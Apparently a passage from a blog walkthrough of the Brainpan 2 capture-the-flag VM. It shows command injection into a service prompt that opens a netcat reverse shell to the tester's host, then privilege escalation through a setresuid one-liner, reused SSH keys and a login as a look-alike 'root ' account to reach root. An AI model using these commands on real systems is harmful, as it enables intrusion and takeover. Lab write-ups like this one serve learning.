-rwsr-sr-x 1 root  mail 83912 Jun  6  2012 /usr/bin/procmail
-rwxr-sr-x 1 root  mail 17908 Jun  6  2012 /usr/bin/lockfile
-rwsr-xr-x 1 root  root  66196 May 25  2012 /usr/bin/gpasswd
-rwsr-sr-x 1 daemon daemon 46556 Jun  9  2012 /usr/bin/at
-rwxr-sr-x 1 root  tty 9708 Jun 11  2012 /usr/bin/bsd-write
-rwxr-sr-x 1 root  mail 9768 Oct  2  2013 /usr/bin/mutt_dotlock
-rwxr-sr-x 1 root  shadow 18168 May 25  2012 /usr/bin/expiry
-rwsr-xr-x 1 root  root  30880 May 25  2012 /usr/bin/newgrp
-rwxr-sr-x 1 root  mlocate 30492 Sep 25  2010 /usr/bin/mlocate
-rwxr-sr-x 1 root  mail 13960 Dec 11  2012 /usr/bin/dotlockfile
-rwxr-sr-x 1 root  shadow 49364 May 25  2012 /usr/bin/chage
-rwsr-xr-x 1 root  root  9660 Dec 30  2012 /usr/lib/pt_chown
-rwsr-xr-x 1 root  root  248036 Feb  8  2013 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root  root  5412 Dec 23  2012 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root  root  67704 Dec  9  2012 /bin/umount
-rwsr-xr-x 1 root  root  31104 Apr 12  2011 /bin/ping
-rwsr-xr-x 1 root  root  88744 Dec  9  2012 /bin/mount
-rwsr-xr-x 1 root  root  35252 Apr 12  2011 /bin/ping6
-rwsr-xr-x 1 root  root  35200 May 25  2012 /bin/su
-rwsr-xr-x 1 root root 8999 Nov  6  2013 /home/reynard/msg_root

Remembering what the notes.txt from earlier said, I decided to change the existing brainpan.cfg file. In doing so, I was able to configure the service to run on 0.0.0.0 and port 9444.

$ cd /opt/old/brainpan-1.8
cd /opt/old/brainpan-1.8
$ ls -al
ls -al
total 36
drwxrwxr-x 2 root  staff  4096 Nov  5  2013 .
drwx------ 3 root  root   4096 Nov  4  2013 ..
-rwsr-xr-x 1 puck  puck  17734 Nov  4  2013 brainpan-1.8.exe
-rw-r--r-- 1 puck  puck   1227 Nov  5  2013 brainpan.7
-rw-rw-rw- 1 puck  staff    27 Nov  5  2013 brainpan.cfg
$ cat brainpan.cfg
cat brainpan.cfg
port=9333
ipaddr=127.0.0.1
$ echo "port=9333" > brainpan.cfg
echo "port=9333" > brainpan.cfg
$ echo "ipaddr=0.0.0.0" >> brainpan.cfg
echo "ipaddr=0.0.0.0" >> brainpan.cfg
$ ./brainpan-1.8.exe
./brainpan-1.8.exe
port = 9333
ipaddr = 0.0.0.0
bind: Address already in use
$ echo "port=9444" > brainpan.cfg
echo "port=9444" > brainpan.cfg
$ echo "ipaddr=0.0.0.0" >> brainpan.cfg
echo "ipaddr=0.0.0.0" >> brainpan.cfg
$ ./brainpan-1.8.exe
./brainpan-1.8.exe
port = 9444
ipaddr = 0.0.0.0
+ bind done
+ waiting for connections...

After some poking and prodding, I was actually able to get the same command execution vulnerability to work on this version!

root@kali:~/brainpan2# telnet 192.168.56.101 9444
Trying 192.168.56.101...
Connected to 192.168.56.101.
Escape character is '^]'.
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                         
                                            _|

[______________________ WELCOME TO BRAINPAN 1.8________________________]
                             LOGIN AS GUEST                             

                          >> HELP
                          ACCESS DENIED
                          >> DEBUG
                          ACCESS DENIED
                          >> SYSTEM
                          ACCESS DENIED
                          >> LOGIN
                          ACCESS DENIED
                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *                               
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED. 
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS. 
                             *  *  *  *                               


                          >> VIEW
    ENTER FILE TO DOWNLOAD: a; nc -e /bin/sh 192.168.56.103 4444

When I caught my reverse shell, I noticed that I now had an euid for puck. While I could view his home directory, I was having trouble migrating to a tty for him (more on this later).

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.56.101: inverse host lookup failed: Unknown host
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 41436
id
uid=1000(anansi) gid=1000(anansi) euid=1001(puck) groups=1001(puck),50(staff),1000(anansi)
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$ id
id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
bash-4.2$ exit   
exit
exit
id
uid=1000(anansi) gid=1000(anansi) euid=1001(puck) groups=1001(puck),50(staff),1000(anansi)
cd /home/puck
ls -al
total 28
drwx------ 4 puck  puck  4096 Nov  5  2013 .
drwxr-xr-x 5 root  root  4096 Nov  4  2013 ..
drwxr-xr-x 3 puck  puck  4096 Nov  5  2013 .backup
-rw------- 1 puck  puck     0 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck  puck   220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck  puck  3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck  puck   675 Nov  4  2013 .profile
drwx------ 2 puck  puck  4096 Nov  5  2013 .ssh

Further Privilege Escalation

Puck’s bash_history had a few interesting commands in it. First, it seemed that puck was SSHing as the “root ” user into this host, as opposed to running a sudo command. Additionally, he seemed to have moved his old .ssh and .bash* files to a .backup directory.

cat .bash_history
cd /usr/local/bin
ls -l
./msg_root "comment on the latest version please"
cd /opt/brainpan/
ps aux
vi brainpan-1.8.c
cd ../archive
netstat -antp
netstat -antp | grep 9888
cd ..
ls
cd old
ls
cd brainpan-1.8
vi brainpan-1.8.c
ssh -l "root " brainpan2
vi brainpan.7
man ./brainpan.7
ls
htop
top
ls -latr
cat .bash_history
ls
mkdir .backup
mv .ssh .bash* .backup
cd .backup/
ls
clear
ls -latr
exit

Viewing the sshd_config file, I was able to verify that SSH was running, albeit on the localhost port 2222.

cat /etc/ssh/sshd_config
# Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
Port 2222
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
ListenAddress 127.0.1.1

After running netstat, I was able to verify that SSHD was running on the machine.

netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.1.1:2222          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN      3244/netstat   
tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:9333          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:9444            0.0.0.0:*               LISTEN      3244/netstat   
tcp       56      0 192.168.56.101:9999     192.168.56.103:41894    CLOSE_WAIT  3244/netstat   
tcp        1      0 192.168.56.101:9444     192.168.56.103:54316    CLOSE_WAIT  3244/netstat   
tcp        0      0 192.168.56.101:37405    192.168.56.102:443      ESTABLISHED -               
tcp        0      0 192.168.56.101:56598    192.168.56.103:443      CLOSE_WAIT  -               
tcp        1      0 192.168.56.101:9444     192.168.56.103:54310    CLOSE_WAIT  3244/netstat   
tcp        0      0 192.168.56.101:9999     192.168.56.103:41908    ESTABLISHED 3244/netstat   
tcp        0      0 192.168.56.101:41436    192.168.56.103:4444     ESTABLISHED 3244/netstat   
tcp        0      0 192.168.56.101:56593    192.168.56.103:443      CLOSE_WAIT  -               
tcp        0      0 192.168.56.101:56599    192.168.56.103:443      ESTABLISHED -               
tcp       36      0 192.168.56.101:9999     192.168.56.103:41902    CLOSE_WAIT  3244/netstat   
tcp        0      0 192.168.56.101:9444     192.168.56.103:54318    ESTABLISHED 3244/netstat   
tcp        0      0 192.168.56.101:56597    192.168.56.103:443      CLOSE_WAIT  -               
tcp        1      0 192.168.56.101:9444     192.168.56.103:54312    CLOSE_WAIT  3244/netstat   
tcp       16      0 192.168.56.101:9999     192.168.56.103:41900    CLOSE_WAIT  3244/netstat   
tcp        1      0 192.168.56.101:9999     192.168.56.103:41904    CLOSE_WAIT  3244/netstat   
udp        0      0 0.0.0.0:14124           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp6       0      0 :::58113                :::*                                -               
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   PID/Program name    Path
unix  6      [ ]         DGRAM                    5401     -                   /dev/log
unix  2      [ ACC ]     STREAM     LISTENING     5446     -                   /var/run/acpid.socket
unix  2      [ ACC ]     SEQPACKET  LISTENING     3181     -                   /run/udev/control
unix  2      [ ]         DGRAM                    6036     -                   
unix  2      [ ]         DGRAM                    6035     -                   
unix  2      [ ]         DGRAM                    5784     -                   
unix  2      [ ]         DGRAM                    5443     -                   
unix  3      [ ]         DGRAM                    3188     -                   
unix  3      [ ]         DGRAM                    3187     -      

Brainpan 2 – More Headaches

While it seemed like I would be able to easily login as the “root ” user, I ran into some more headaches at this point.

First, when I attempted to use the old SSH keys, I was unable to accept the host’s certificate

(terminal 1)
ssh -i .ssh/id_rsa [email protected] -p 2222

...

(reverse shell)
Pseudo-terminal will not be allocated because stdin is not a terminal.
The authenticity of host '[127.0.1.1]:2222 ([127.0.1.1]:2222)' can't be established.
ECDSA key fingerprint is 0a:15:1c:1c:25:b0:fe:54:8a:35:45:e5:b8:02:97:1a.
Are you sure you want to continue connecting (yes/no)?

Next, I was receiving a prompt for a password even when I attempted to use the id_rsa private key with no StrictHostKeyChecking.

ls -al
total 16
drwx------ 2 puck puck 4096 Nov  4  2013 .
drwxr-xr-x 3 puck puck 4096 Nov  5  2013 ..
-rw------- 1 puck puck 1675 Nov  4  2013 id_rsa
-rw-r--r-- 1 puck puck  396 Nov  4  2013 id_rsa.pub
pwd
/home/puck/.backup/.ssh
ssh -oStrictHostKeyChecking=no -i "./id_rsa" -l "root " 127.0.1.1 -p 2222
Warning: Identity file ./id_rsa not accessible: Permission denied.
Pseudo-terminal will not be allocated because stdin is not a terminal.
root @127.0.1.1's password:

Finally, I decided to move the backup .ssh directory back into the home directory.

mv .ssh .ssh-old
mv .backup/.ssh .
ls -al
total 32
drwx------ 5 puck  puck  4096 Jul  7 10:05 .
drwxr-xr-x 5 root  root  4096 Nov  4  2013 ..
drwxr-xr-x 2 puck  puck  4096 Jul  7 10:05 .backup
-rw------- 1 puck  puck     0 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck  puck   220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck  puck  3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck  puck   675 Nov  4  2013 .profile
drwx------ 2 puck  puck  4096 Nov  4  2013 .ssh
drwx------ 2 puck  puck  4096 Nov  5  2013 .ssh-old

Additionally, I was able to get the proper uid (puck) as opposed to just an euid.

python -c 'import os,pty;os.setresuid(1001,1001,1001);pty.spawn("/bin/bash");'
puck@brainpan2:/home/puck$ id
id
uid=1001(puck) gid=1000(anansi) groups=1001(puck),50(staff),1000(anansi)

Finally Root!

With all of my changes in place, I was able to SSH as the “root ” user and get a UID of 0!

puck@brainpan2:/home/puck$ ssh -oStrictHostKeyChecking=no -l "root " 127.0.1.1 -p 2222
Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul  7 10:10:05 2017 from localhost
root @brainpan2:~# id
id
uid=0(root ) gid=0(root ) groups=0(root )

As the real root user, I was also able to read the flag.txt file and finish the challenge.

root @brainpan2:/root# cat flag.txt
cat flag.txt

                          !!! CONGRATULATIONS !!!

                 You've completed the Brainpan 2 challenge!
                 Or have you...?

                 Yes, you have! Pat yourself on the back. 🙂

                 Questions, comments, suggestions for new VM
                 challenges? Let me know!


                 Twitter: @superkojiman
                 Email  : [email protected]
                 Web    : http://www.techorganic.com

Brainpan 2 – Conclusion

While this challenge took me a long time to complete, as well as blog about, it was definitely worth it.

I learned a few things about SSH keys, euids, and even some binary exploitation.

Hopefully I will be able to finish Brainpan 3 in a quicker timeline, so be on the lookout for that walkthrough as well!

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